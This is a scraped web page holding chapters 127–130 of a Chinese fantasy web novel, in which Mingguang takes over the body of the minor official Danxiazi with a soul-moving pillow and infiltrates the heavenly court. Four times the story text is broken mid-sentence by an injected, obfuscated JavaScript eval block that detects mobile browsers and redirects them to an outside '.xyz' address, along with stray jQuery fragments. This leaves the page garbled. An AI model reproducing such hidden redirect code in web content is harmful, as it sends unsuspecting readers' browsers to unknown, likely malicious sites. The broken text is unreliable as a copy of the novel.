;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856217|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 丹霞子出现在院子外头时,应长恨隔着结界能把他看得一清二楚,他却看不见结界内的情况。 “阿难哥哥,这家伙眼熟吗?是不是檀豫派来的?” “是,普和殿的小仙官中,这个丹霞子据说是檀豫最心腹的心腹,经常伺候在他左右。” “阿难哥哥,还好你想得周到,让我设下结界封锁了这个小院。丹霞子进不来,啥也查不到,回去禀报时,檀豫纵使能猜出我们此行与檀绣有关,却不知道她已经死于走火入魔,也就不会想到防备檀绍偷仙丹救人了——如果他还有这个良心的话。” 明光却意味深长地微笑笑道:“阿难弟弟,我倒想让丹霞子进来呢。” 应长恨出其不意地一怔,“为什么?” “他应该能帮我验证心里的一个猜想。” . 丹霞子尝试破解结界,一试就解锁成功了。 他心里很是洋洋自得:看来我这些年的修行还是进步很大,这个结界不是明光就是应长恨设的,我居然都能一次搞定。 一边得意着,丹霞子一边推开紧闭的院门往里头走。他才刚迈过门槛,就像中了定身术似的定住了,满脸都是活见鬼的表情。 要说也确实是活见鬼了,因为院子里站着谪仙明光与鬼王应长恨,四只眼睛都在盯着他看。 丹霞子知道自己大意了,本能地转身就想跑。他一介小仙官,可没有本事跟这两位大佬正面硬杠,当然是三十六计走为上计。 可惜他逃跑的速度赶不上应长恨抓人的速度,下一瞬就被揪住后衣领拽入院中,结界也再度锁死,哪儿都去不了了。 丹霞子后知后觉地明白过来,能解开结界是并不是他有能耐,而是人家在请君入瓮,他这个自以为是的蠢货自己把自己送上门来了。 “丹霞子,你来了,檀仙师一向可好啊?” 与凶神恶煞的应长恨一比,满脸微笑的明光,简直就是和蔼可亲的代名词。惊魂未定的丹霞子,硬挤出一个比哭还要难看的笑容。 “他老人家好着呢,多谢灵曜天君挂念。” “我不是灵曜天君已经好多年,你还这么称呼我,真会讨好卖乖,难怪檀仙师经常让你随侍左右。” 跟聪明人打交道最好别玩什么心眼,丹霞子干脆就直接认怂了,一再作揖求饶。 “我只是一个小仙官,还请二位大佬不要难为我。无论你们留下我有何目的,我都保证全力配合,一定配合到底。” “很好,丹霞子,我留下你确实有用着你的地方。” 丹霞子一边在心里腹诽着准没好事,一边擦着额角的冷汗苦笑道:“是是是,无论天君有何吩咐,在下一定谨遵照办。” “放松点,别这么紧张,不是什么要让你去杀人放火的事,就是让你陪我睡觉。” 这个要求实在太过匪夷所思,丹霞子听了先是难以置信地一愣,回过神后整张脸都青了。 “什么?天君难道有龙阳之兴,想让我伺候枕席?这……我……” 127.传音鱼符 丹霞子紧张到结巴的一番话还没说完,就被皱着眉头的应长恨冷冰冰地打断了。 “你想多了!” 虽然应长恨是一个让丹霞子望而生畏的对象,但是从他嘴里吐出来的这四个字,却让他大大松了一口气。不是就好,否则这种伺候枕席的活计他可真心吃不消。 “看来是我误解了天君的意思,真是该打,该打。” “我说睡觉,就只是纯粹的睡觉,不需要伺候枕席什么的。来吧,咱们去东厢房里睡。” 丹霞子满头雾水地跟着明光进了东厢房,发现屋里根本就没有床,只有一床被子铺在地板上,上面搁着一只仙气缭绕的白玉枕。 “这是哪来的仙家法宝?” 丹霞子吃了一惊,没想到明光手里居然还有仙家法宝,这法宝是何来历?又怎么会到了他手里? “别问那么多,直接躺上去。” 应长恨神色不善地瞪了丹霞子一眼,他不敢再发问,乖乖地躺下了。 “你靠边一点,我还要躺呢。” 明光指挥着丹霞子让出半边枕头后,自己也躺了上去,两个人成了同床共枕的一对。 “好了,闭上眼睛睡觉。” 有应长恨在一旁虎视眈眈地守着,丹霞子也不敢不闭。 眼睛闭上没一会儿,他就有种浑身飘起来的感觉。下意识地睁开双眼一看,骇然发现自己已经元神出窍,脱离了肉身的躯壳。 睡在他身旁的明光也是如此,元神从肉身中分离。与他不同的是,他一张脸镇定如初,还冲着他微笑了一下。 “丹霞子,暂借你的肉身一用。” 这句话的意思,丹霞子一时间都没有反应过来,直到亲眼目睹明光的元神钻进了他的身体。 “喂,你想干……” 丹霞子惊骇万分的话还没说完就哑了,因为应长恨用一只锁魂囊收了他的元神。 躺在被子上的“丹霞子”睁开双眼,露出一个属于明光的笑容,带着满不在乎的洒脱和世事洞明的通透。 “阿难哥哥,果然被你猜中了,移魂枕居然还可以这样操作。” . 移魂枕可以让人元神出窍,魂游四方,这一点不是什么秘密。 明光却由此及彼地想到,如果两个人同时枕着枕头,两个元神一起出窍后,是否可以进入不同的肉身呢? 为了验证这一猜想,明光就留下丹霞子做了这项测试。 因为移魂枕乃仙家法宝,只有仙人才能使用,自己送上门来的小仙官就成了再合适不过的人选。 如果是檀绍那样武力值高又警惕心强的武神,想要他配合可就难了。 结果一如明光设想的那样。他的元神顺利抢占夺舍了丹霞子的肉身,而丹霞子的元神则被应长恨临时关进了锁魂囊。 “我原本也只是猜想有这种可能,结果一试还真成了。现在,我算是明白玉京子为什么想要得到移魂枕了。阿难弟弟,你应该也能想明白吧?” 应长恨点头道:“死蛇精一定和你想到一块去了,如果移魂枕能这样操作,他就能多一条退路。万一哪天帝君的假身份穿帮了,他还可以利用这个法宝神不知鬼不觉地夺舍其他仙官,换个身份继续留在天界过神仙日子。” “对,估计这就是他的目的所在。” “照这么看来,当年勾结江天旷陷害你的人,应该不是檀豫,而是那个死蛇精才对,只有他才想要得到移魂枕。” 明光对此没有异议地点了点头,又道:“就是同样搞不清楚,他到底是许诺了什么好处让江天旷答应合作。既要设法帮他捞移魂枕,又要帮他演戏陷害我图谋帝君宝座,最后还赔上了自己的性命,这笔交易真是亏大发了!” “是啊,能让江天旷做这种蚀本买卖,真不知死蛇精手里到底握着什么筹码。” “能让江天旷心甘情愿的以身犯险,那必然是他无法拒绝的东西。只是我们对他一无所知,也就无从猜测。” 明光一边说,一边从丹霞子怀里掏出那块灵玉令牌,笑眯眯地道:“我现在是丹霞子,可以光明正大地去云间仙境走上一趟了。” “阿难哥哥,你非要去走这一趟不可吗?” 应长恨不太喜欢这个计划,毕竟明光是独自一人深入虎穴,他很难不为之担心。 “嗯,指望檀绍偷来仙丹救人太被动了。既然有这样的大好机会,不如我亲自去普和殿弄一枚回来,还能顺便暗中观察一下玉京子的情况。” “你一个人混入云间仙境,独木难支,未必太危险了一点。” “放心吧,我披着丹霞子这层皮,不会有事的,再说还有小铃跟着我呢。” 原本戴在明光手腕上的那只虎头铃铛,已经自动飞离金刚绳结,钻进了“丹霞子”的衣襟里。 “可是那个蛇精会不会想到你可能夺舍丹霞子混上了天界呢? “移魂枕能助人夺舍还是一个秘密,玉京子就算有此猜想却尚未验证,更想不到我已经付诸于行动了。何况丹霞子是檀豫暗中派下凡的,他都未必知道有这么回事。” “不怕一万,就怕万一,万一被人识破了呢?要不这样吧,我守在白云关附近,如果你遇上什么危险就赶紧往白云关冲,我会第一时间接应你。” 应长恨进不了白云关,也不能硬闯,那样对明光的暗中潜入没有任何好处,只能守在白云关外随时准备支援他。 “这法子可行,不过在那之前,你得先把我的肉身守好才行。要是万一落到居心叵测的人手里,我可就没法魂归原体了。” “没问题,我会设个结界封了这里,再留下阿福守阵眼,准保万无一失。” 应长恨打算设下一个保护结界的阵法,由法宝阿福镇守阵眼。 如果哪个熊心豹子胆的家伙想要硬闯进,阿福会自动放大招对付敌人,他也会第一时间感应到有人闯阵,火速赶回来增援。 . 出发去云间仙境前,“丹霞子”弯下腰,从躺在被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868204|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上的明光怀里取出一样东西。 那是一对被雕刻成鲤鱼形状的符牌,只有巴掌大小,分为左右两半。质地似玉非玉,颜色是半透明的金色。 “阿难弟弟,这是我新研究出来的传音鱼符,可以认两个主人。我已经是它的主人了,你再滴一滴血在鱼目上让它认主,以后它就能同时为咱们传音。” 应长恨马上照办,一滴鲜血滴上鱼目后,那颗浮雕的眼珠顿时从半透明变成了红宝石般的色泽。 “这个传音鱼符是一对,你我各执一半,哪怕分隔两地也能通过它即时进行语音交流,不用像传讯飞符那样飞来飞去浪费时间。” 如此实用的传音鱼符,听得应长恨大喜过望。 有此符在手,明光虽是独闯云间仙境,他却能与之时刻保持联系,随时知道他的情况,就能放心多了。 “太好了,这个鱼符要怎么用呢?” “很简单,你想跟我说什么,触摸鱼目后等它亮起红光就可以说了。我给你发来语音消息时,鱼目会红光闪烁,同时是触摸它后就能听了,声音只有咱俩才能听见。除了咱俩,其他人既不能通过它说,也不能通过它听,所有消息一律保密。” 应长恨当场试用了一下,果然简单好用,通过自己的鱼符给明光传送一句话,他那块鱼符当场就能听见声音。 “阿难哥哥,为什么你都换了肉身,传音鱼符也还是能认主呢?” “因为这对传音鱼符是用我的鱼身金鳞炼制而成,属于本体法器,哪怕我换了一百个躯壳它也不会认错我的。” 法器是法宝的初级阶段,本体法器和本体法宝一样,必须用身体的一部分来炼制,是要自伤其身的危险行为。 应长恨大吃一惊,“阿难哥哥,你怎么能拔取鳞片炼制法器,很危险的。” “这么危险的事我当然不干了,不是我自己拔的鳞片,而是它们自然脱落的。我一点也没浪费,全部保存起来了。” 鲤鱼在生长过程中,旧鳞会逐渐脱落,新鳞会生长出来,这是自然规律。 明光尚未修成人形前,就开始保存自己脱落的旧鳞片,预备着日后派用场。 “阿难弟弟,知道为什么我那些形形色色的符只有我用才有效吗?因为我用的不是纸符也不是木符,而是以本体鳞片画符,才能发挥出最大功效,其他人也根本无法驱动。这对传音鱼符几乎耗尽我所有的鳞片存货,反复失败反复重炼,花了好多心血总算是初步有了成效,这回正好能用上它。” 试炼失败就只能重新再来,重新再来就又得耗费炼材。 明光手里为数不多的旧鳞片,其实在成功前就全部耗尽了,他不得不躲起来强忍疼痛拔下几片金鳞。 传音鱼符一旦炼制成功,就能为他和应长恨提供即时通讯,这点非常重要,为之付出一些代价也是值得的。 应长恨握紧手里的传音鱼符,十分钦佩地注视着明光道:“阿难哥哥,你真不愧是几百年才出一个的修真奇才。” 128.神仙眷侣 云间仙境,浩瀚无垠的白云海。 一轮明月刚从海中浮出来,晶莹剔透如冰轮,挂在普和殿黄金构筑的屋脊上方。 明光以丹霞子的身份走进普和殿时,完美复刻了小仙官在大仙官面前的恭敬小心。 “普和真君,我回来了。” 檀豫已经等得不耐烦了,劈面就问:“檀家村那边可有何异样?” “启禀真君,檀家村确有异样之处。明光与那鬼王应长恨离开后,檀氏一族发现村里有处小院被结界封锁了,谁也进不去,就连我也没法解开结界入内。” “哦,那小院里头可有人居住?” “有的,里头住着一个名叫檀绣的女子,眼下也不知是死是活。” 檀豫两道雪白的长眉不由自主地耸动了一下,暗自心惊。 ——如此看来,明光竟是冲着檀绣去的檀家村,难不成是我当年动过的手脚被他发现了? 但是这怎么可能啊?一介小妖哪来这等能耐,居然对一位大仙官做过的隐秘勾当了如指掌。 尽管满心觉得不可能,可明光跑去檀家村设结界封锁了檀绣住的小院,就说明他对她的遭遇一定有所知晓。 所以才会让应长恨用冲天黑气引檀绍下凡,因为他与此事有关。 “我知道了,你先下去吧!” 檀豫心不在焉地挥了挥手,把“丹霞子”打发走人,独自陷入沉思中。 明光知道自己私下做过上不了台面的事也就罢了,檀豫对此并不担心。 别说明光现在是天界的公敌,与鬼王狼狈为奸的妖渣,说出这种话没有人会信。 就算是他有资格去紫衡殿找帝君告御状,无凭无据又能把檀豫怎么办?只要老神仙一口咬定绝无此事死不认账就行了。 檀豫眼下比较担心的对象是檀绍。 如果明光清楚檀绍的飞升成仙其实源于檀绣的那颗金丹,把他引去檀家村肯定就是为了告知他此事,那他到底是信还是不信呢? 按照常理来说,檀绍对明光没有什么好印象,明光要是说什么他的飞升成仙是靠人暗中扶持之类的话语,他肯定是不信的,只会勃然大怒。 檀绍回到云间仙境后,没有对其他人提及此事,倒是很好理解。这种事就算是遭人恶意抹黑,说出来也会惹人非议,当然是闭口不提为妙。 檀豫把檀绍叫去普和殿私下询问时,他同样隐瞒了自己的真实经历,这也不难理解。 毕竟事情与他这位老祖宗有关,这种对他的指控之辞,檀绍身为后人自然不好当着他的面乱说。 檀绍对于自己此次下凡的经历守口如瓶,从明光那儿听说的一切,他到底是相信、还是不信、还是半信半疑? 这些都是檀豫搞不清楚的事,也没办法把他找来细问,那样就成了不打自招。 檀豫只能自己琢磨: 檀绍惊闻此事后,照盘全收的完全相信肯定不可能; 拒绝接受事实的坚决不信更有可能; 如果明光把整件事说得很有说服力,那么半信半疑也可能是他眼下的心理状况。 思来想去一番后,檀豫还是决定去冲元殿找檀绍,再仔细观察试探一下他。 . 檀豫前脚刚离开普和殿,套着“丹霞子”躯壳的明光,后脚就溜进了东侧殿的书房。 九转还阳丹比七转仙灵丹要贵重多了,檀豫才不会随便摆在炼丹房的多宝格上,而是放在书房的一只藏宝箱中。 这只藏宝箱是认主的灵物,非主人不能开启。如果其他人试图打开或搬走箱子,它还会发出高亢尖利的声音大叫示警。 “大胆贼子,敢来盗宝,削他、削他、削他。” 普和殿有不少负责警卫的小仙官,只要听到藏宝箱的声音,就会立即拎着剑过来削人。 不过迄今为止,他们还从未遇上过这样胆大包天的贼子。 明光围着藏宝箱团团转了一圈,轻易不敢动手触碰,否则它迸出的尖利声音能响彻整个普和殿。 他已经想到了一个办法来尝试打开箱子,得分两步走:第一步由流金铃完成,第二步再由他上阵。 “小铃上,往死里吵它。” 流金铃除了能爆发金色焰光展开光波攻击,也能通过铃声发动声波攻击,妖魔鬼怪闻之将魂不附体。 小铃自动钻出“丹霞子”的衣襟,变回法铃本体,落在藏宝箱上开始发力。 为了避免引起他人注意,它使用了人耳听不见的震动频率,只针对藏宝箱大吵特吵。 仙家宝物都是灵物,正因如此也能受到干扰。 小铃的声波攻击虽然不能完全让藏宝箱被吵昏头,却能在一定程度上影响它的灵智。 一旦藏宝箱的灵智程度有所降低,明光打算利用改头换面符短暂变成“普和真君”,看能不能把它蒙过去误认他为主人开启宝箱。 如果不能的话,明光现在的法力可以随时变回“丹霞子”,到时候就用“不小心碰到了藏宝箱引发警报”的说辞,把事情糊弄过去。 “小铃,你留在这儿对付它,我先出去转一圈再回来。自己当心点,有人来了就赶紧躲。” 明光走出寝殿时,揣在怀里的传音鱼符微微震动了一下,这代表应长恨给他发来了消息,便掏出来听取并回复。 应长恨的声音充满关切,“阿难哥哥,你到云间仙境了吗?一切是否顺利?” “我已经到了,目前一切顺利。现在不方便说话,回头再联系你。” . “丹霞子”大摇大摆地走在云间仙境,迎面遇见的同级小仙官都冲他微笑点头。就连一些正儿八经飞升成仙的大仙官,也对他很是客气。 有道是不看僧面看佛面,丹霞子是檀豫倚重的心腹之人,凡是想跟这位老神仙搞好关系的人,自然也就都会高看他一眼。 路过玄清殿的时候,“丹霞子”还被一位小仙官硬拉进去喝茶。 “丹霞子仙长,这可是太玄真君亲自研制的碧桃和露茶,只有咱们玄清殿才有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14881097|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用新鲜的碧桃花瓣制茶,再用新鲜的仙露来烹茶,别提多清馥香淳了,不信你尝一尝。” 小仙官十分殷勤地为“丹霞子”送上一杯新沏的香茶,他品了一口忍不住点头称赞。 “嗯,确实好喝,想不到太玄真君还有制茶的雅兴啊!” “是啊,太玄真君最近迷上了制茶,只选最好的上品,中下品都不要,统统赏给了我们。丹霞子仙长,这一包中品茶叶,我是特意留着给你的。” 礼下于人必有所求,明光知道这位小仙官送茶叶给丹霞子,一定是想从他那儿要到一点好处——譬如檀豫炼制的各类灵丹。 仙丹太贵重不可能,但那些可以延年益寿或增进法力的灵丹,谁又不想要呢? 尤其是小仙官想更上一层楼,如果能得到灵丹助益,修炼过程中可以起到事半功倍的效果。 檀豫能在云间仙境混成数一数二的大仙官,除了资历老、地位高,也是因为绝大多数人都不愿意得罪这位擅长炼丹的老神仙,那样对自己可没有任何好处。 “唉呀,这怎么好意思啊!” “丹霞子仙长,你就别跟我客气了,快收下吧。” 明光只得笑纳了,一边喝着茶,他一边漫不经心地问道:“对了,太玄真君的伤势怎么样了?” “还是那样,被鬼火灼伤的丹府依然未曾痊愈,吃了你家真君特意炼制的八珍玉露丹也效果不明显。” “真想不到江天旷竟有这般能耐,真不愧是一代鬼王啊!” 小仙官不屑地撇着唇角道:“他再能耐又如何,还不是死在我家真君手里了。虽然养了几百年的伤,总好过他没了命吧!” “那是自然,留得青山在,才不怕没柴烧。咦,这儿怎么晒了这么多精美的纸笺呢?” “这些纸笺也是太玄真君亲手制作,专门给太清元君写字用的。在玉版笺的基础上施粉、加蜡与砑光,再用泥金颜色描绘桃花图案,名字就叫桃花玉版笺。” 明光感慨道:“太玄真君养伤这些年,都快从武神变成文神了,又是制茶又是造纸的,还都做得很有水准。” 小仙官吹捧自家大仙官还不算完,又道:“仙长,我家真君还练就了一手好丹青呢,他的桃花图画得跟真的一样,那叫一个惟妙惟肖活灵活现。” “是吗?太玄真君还能画一手好丹青,那可称得是上文武双全了!” 顿了一下后,明光又扳着手指头算道:“碧桃和露茶,桃花玉版笺,还有桃花图,太玄真君似乎格外钟爱桃花呢!” “那是自然,因为太清元君最爱桃花,太玄真君也就爱屋及乌,对桃花和对她一样情有独钟。” “原来如此,太玄真君和太清元君真不愧是一对神仙眷侣,这般恩爱真是羡煞旁人啊!” “那是,太玄真君受伤的这些年,一开始脾气特别暴躁,动不动就大发雷霆,吓得我们都不敢上前伺候。多亏太清元君温柔又有耐心,一直陪在他身边无微不至地照顾着,如今的脾气已经好太多了。” 129.吕翊周 太玄真君陆衢是一位霸气又霸道的霸主,这样的人多半脾气不会太好,很多小仙官都怕他,在他面前就像老鼠见猫似的。 太清元君温且惠则与之相反,这位温柔和善的神女,恰似一轮冬日的暖阳,走到哪儿就把温暖带到哪儿,让每一个人都乐意亲近她。 “有道娶妻娶贤,太玄真君能得太清元君这样一位贤妻,真是前世修来的福分啊!” 在玄清殿喝完一杯茶后,明光告辞离开。 小仙官殷勤地把他送出大门,恰好遇上弘文真君郦子微从门口经过,两个人一起躬身行礼。 “拜见弘文真君。” 郦子微满脸心事重重的样子,看也没看他们一眼,随便挥了挥手就走了,他前往的方向是白云峰。 “咦,弘文真君这是怎么了,好像心情不太好的样子呢?你知道吗?” 明光有意无意地问身旁的小仙官,他立马知无不言言无不尽地回答起来。 “具体怎么回事我不清楚,不过仙长,听说弘文真君最近经常往白云峰跑,似乎是跟那面前生镜有关。奇怪,他一介神仙,为什么会对自己的前世好奇?前世种种都已经过去了,眼下当神仙活得逍遥自在,还纠结那些上辈子的前尘过往干吗呢?” 郦子微为什么会对自己的前世生出好感心,别人不清楚,明光对此倒是门儿清。 他暗想道:看来郦子微是想搞清楚,自己前世是不是真的那么渣,设下毒计害死了朱颜悔。所以没事就跑去白云峰看前生镜,应该已经陆陆续续看到一些新画面了吧? 白云峰顶的前生镜,只有月圆之夜才有可能照出镜中人的前生画面。但是已经照出来的画面,却可以在月夜中重复再现。 譬如郦子微曾经在前生镜中目睹过自己前世成为状元郎的一幕,如果他在月色明亮的夜晚再站在前生镜前,镜子里就会重现这幕画面。 郦子微与朱颜悔在白云峰共照前生镜,已经是好几个月前的事了。 如果这几个月内,他每逢月圆之夜都去照镜子,也运气好又照出了几幕新画面,那么现在他就能在月光下的镜子中重温这些画面,就如同看一出又一出的折子戏。 郦子微没事就跑去白云峰,只能是在反复重温自己的前世画面。 试图通过那些一鳞半爪的前世片段,来确认自己前世到底是不是渣出天际的渣男一枚。 . 拎着一包茶叶,明光貌似随意地逛去了紫衡殿门口。看门的小仙官虽然也主动热情地跟他打招呼,却没有请他进去坐上一坐。 作为云间仙境的权力中心,帝君处理日常政务之所,紫衡殿严禁无关人员擅闯,非帝君召见不得入内。 “丹霞子”就属于这样的无关人员,只能站在门外跟看门的小仙官扯上几句闲话。 “都过三更了,主殿里头依然灯火通明,看来帝君还在处理政务呢!” “是啊,那个该死的明光要搅得三界不宁,帝君肯定要提前做足防范才行,这阵子经常忙到半夜三更。” “是啊,因为明光这根搅屎棍,咱们帝君可得劳上一阵心了。” 若无其事地自黑了一把后,明光又问道:“就帝君一个人在里头忙,没有其他大仙官陪着吗?” “有的,帝君最近每晚都会召见一位大仙官,听取他们对于如何应对仙鬼之战的个人看法,集思广益。” 云间仙境的大仙官,统指正儿八经飞升成仙的各殿主神,被度化成仙的辅神相对应地被统称为小仙官。 天界的大仙官加起来也不足百人,都有真君或元君的封号,表面上虽然地位一样,但香火的兴旺程度却因人而异。 像檀豫和陆衢夫妇这样信徒众多、香火鼎盛的主神,是大仙官中的佼佼者,站在金字塔塔尖的位置; 像越君朴、郦子微、钟离斐和檀绍等颇有人气的主神,居中间位置; 而一些声名不显或香火不旺的主神,就处于最底层。 总而言之,纵然同为云间仙境的大仙官,也能根据香火的旺盛程度分出三六九等。 金字塔底层的大仙官,在云间仙境的存在感都不高,平时很难得到帝君的召见。 但是仙鬼大战一触即发的时候,紫衡帝君开始挨个召见他们来紫衡殿集思广益了。 明光暗中心想:玉京子轮流召见云间仙境的每位大仙官,估计是想从中选一个来充当自己的退路。但移魂枕还在我手里,他如果志在必得,就只能是不择手段了。 “哦,不知帝君今晚召见的是哪位大仙官?” “是桓德真君。” . 桓德真君吕翊周,是一百年多前飞升成仙的武神。此人出身岭南万象宗,位列仙班后成为南海一带的守护神。 吕翊周和檀绍是过往三百年中唯二飞升的两名武神,在天界原本都算是根脚尚浅的新丁。 只是檀绍背靠檀豫这棵大树,一来就挤入了金字塔的中上层。 相比之下,吕翊周只能像绝大多数新人那样,先从金字塔底层慢慢往上爬。 成仙一百多年来,吕翊周负责镇守的南海一直比较太平,他也表现平平,属于不拔尖也不垫底的那一类。 这类比上不足比下有余的中游状态,往往是最容易被忽略的。 对于吕翊周其人,明光除了知道他出身万象宗,是南海守护神,其他方面都不清楚。 无形中也就说明这位武神的声名不显,在云间仙境的存在感不高。 像这种没什么存在感的大仙官,搁从前是很难有机会走进紫衡殿单独觐见帝君的。 但是这晚吕翊周被帝君召见,据说已经超过一个时辰了。 小仙官道:“看来帝君与桓德真君应该谈得很投机呢!” 明光却若有所思地想:如果我是玉京子,要选一位仙官来充当移魂换体的退路,吕翊周这样的武神就再合适不过了。名气不大,根脚不稳,存在感不高,神不知鬼不觉地换个芯,也不容易被别人发现。 和小仙官扯上半天闲话后,明光正准备走人,忽然瞥见有人从紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894626|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衡殿的主殿退了出来。 “那是桓德真君出来了吧?” “正是,看来已经谈完了。” 明光和小仙官一起,站在紫衡殿大门口,朝着走近的吕翊周躬身行礼。 同为镇守一方的武神,吕翊周既不像钟离斐那样威风凛凛,也不像檀绍那样傲气满满,而是一派风度翩翩,光看外表不像武神像文神。 如果不是成仙那年已经三十六岁,必定也能荣获“仙郎”的美誉。 刚刚和帝君谈完话的吕翊周,神色既不得意洋洋也不垂头丧气,平静如止水,一点也看不出来这场谈话对他有利还是有弊。 明光暗想:喜怒不形于声色,这个吕翊周表面上不显山不露水的,搞不好却是个人物呢! . 离开紫衡殿后,“丹霞子”有意拐去了冲元殿。 他笑眯眯地冲着看门的小仙官问道:“我家真君之前来找冲元真君,现在应该已经回去了吧?” “普和真君早回去了,都没进门就走了。” 明光有些出乎意料,“怎么回事?是冲元真君不在吗?” “我家真君一回来就闭关了,这两日都没法会客,普和真君一听就没进门了。” 檀绍居然闭关了,看来他虽然拒绝相信明光的话,但心里还是有些存疑。所以选择闭关核实一下,设法弄清楚体内金丹的基础究竟是什么。 明光一边离开冲元殿一边想: 檀绍既然肯验证此事,一旦验证结果证明了事情属实,应该也会愿意配合偷仙丹救檀绣吧?如果能这样就再好不过,哪怕我的计划失败了,还有他这么一个备选。 看看时辰还早,明光决定先不回普和殿,跑去白云峰瞅瞅郦子微那边是啥情况。 . 白云峰顶,一轮皎洁的明月缓缓朝着中天移动,撒下清辉如雪。 “丹霞子”手捧一只玉瓶,假装自己是来收集夜露的,悄悄靠近灵石镜屏的前生镜。 万一被发现了,就说自己刚得了一包碧桃和露茶,连夜来收集露水泡茶喝。 前生镜前,独自伫立的郦子微,根本没有留意到有人靠近,心无旁鹜地看着镜子里映照出来的前世画面。 前生镜里的前世画面是无声影像,就像哑剧一样只见其人不闻其声,具体是怎么一回事还得连猜带蒙。 此时此刻,镜中影像是很好理解的一幕,那是前世的景略与公主大婚时的气派场面。 骑在高头大马上的新郎倌,虽然被一身大红喜服衬托得喜气洋洋,脸上的笑容却似乎并非由衷而发。 不远处,明光刚爬上一棵玉树,居高临下地远观着镜中影像。 他心里暗想道:景略好像是在强颜欢笑呢,他当年对迎娶公主一事是心存抗拒吗?如果是,那他就没必要为了攀高枝而设下毒计害死朱颜悔了。 大婚的画面结束后,新画面很快浮现。 景略的年纪看上去有所增长,眉宇间多了几分沧桑,正独自步入一座庙观,观名曰琼花观。 130.藏宝箱 琼花观里自然有琼花。 后院一株高大的花树恰逢花期,擎满一树轻冰薄霜似的皎洁繁花。花型奇特如蝴蝶,在晚春的薰风中翩翩起舞,美不胜收。 景略仰头站在琼花树下,眼神迷离又忧伤,似乎在追忆着什么,缅怀着什么,伤感着什么…… 这一幕画面持续了很久,景略始终一动不动地站着发呆。 要不是纷纷扬扬的落花一直飘个不停,如雪般堆满他的双肩,躲在不远处窥探的明光还以为前生镜出了毛病,画面卡顿了。 明光不太能够理解这幕画面:景略跑来琼花观对着一株琼花树发呆,还是一副凄凄惨惨戚戚的伤心模样,他在伤心什么呢? 郦子微对此同样理解无能。 他不明白前世的自己为什么要去琼花观,对着满树琼花感伤万千。但心里却泛起一缕没来由的酸楚,让心情都变得低落起来。 冰轮似的满月已经碾上了中天,前生镜中的画面却没有变化。依然是景略独立琼花树下怅然出神的一幕,落花如雪乱,拂了一身还满。 看来今晚前生镜又消极怠工了,不会再映照出郦子微的前世画面。他在灵石镜屏前站了半天,只是重温了那些自己已经见过的画面。 不无失望地一声长吁后,郦子微转身离开了白云峰。衣袂翩飞的修长身影御风远去,很快消失在茫茫云海中。 正主儿都走了,明光自然也不会再作逗留。 前生镜里啥也看不见了,他还呆在这里干嘛呢?不如赶回普和殿看看小铃的差事办得如何。 一边走,明光还一边思索刚才那幕难以理解的画面。 景略在琼花观中为什么如此伤感,像是在悼念什么人似的。 那会是谁呢?有可能是朱颜悔吗?那时候她都已经死了好几年,如果他还旧情未了,那就不是没良心的人了。 . 普和殿中,除了炼丹房里依然灯火通明,其他地方大都已经熄了灯。 东侧殿的书房里,一盏夜明珠灯还在幽幽散发着光芒,显然檀豫尚未回寝殿休息,也不知独自一人在里头干嘛。 明光原本是想去书房看看小铃的工作进度,这会儿不方便进去,就先跑去炼丹房看一下,装模作样地提醒两个负责值守的小仙官。 “你们可别偷懒睡觉,一直要盯好炉火,千万不能让它灭了,否则这一炉灵丹就要全部废了。” 普和殿中,丹霞子算是小仙官们的头头,他说的话自然没人敢不听。 “仙长请放心,我们知道轻重,不敢偷懒的。” 入宝山不能空手归,明光假装整理多宝格上摆得满满当当的丹药瓶,又暗中拿了几枚珍贵的疗伤灵丹。 从炼丹房出来,明光再去东侧殿查看情况,发现里头还亮着灯。思索片刻后,他干脆直接敲门表达一下自己的关心。 “普和真君,夜已经深了,您早点休息吧!” “丹霞子,你进来。” 明光正中下怀地进了书房,第一眼先瞟向藏宝箱,流金铃已经不见踪影,看来机灵的小铃把自己藏起来了。 檀豫独自坐在书案前,案上摆着一碟紫芝和一碟碧藕,还有一壶甘露酒,敢情老神仙独自一人躲在层里喝闷酒呢! 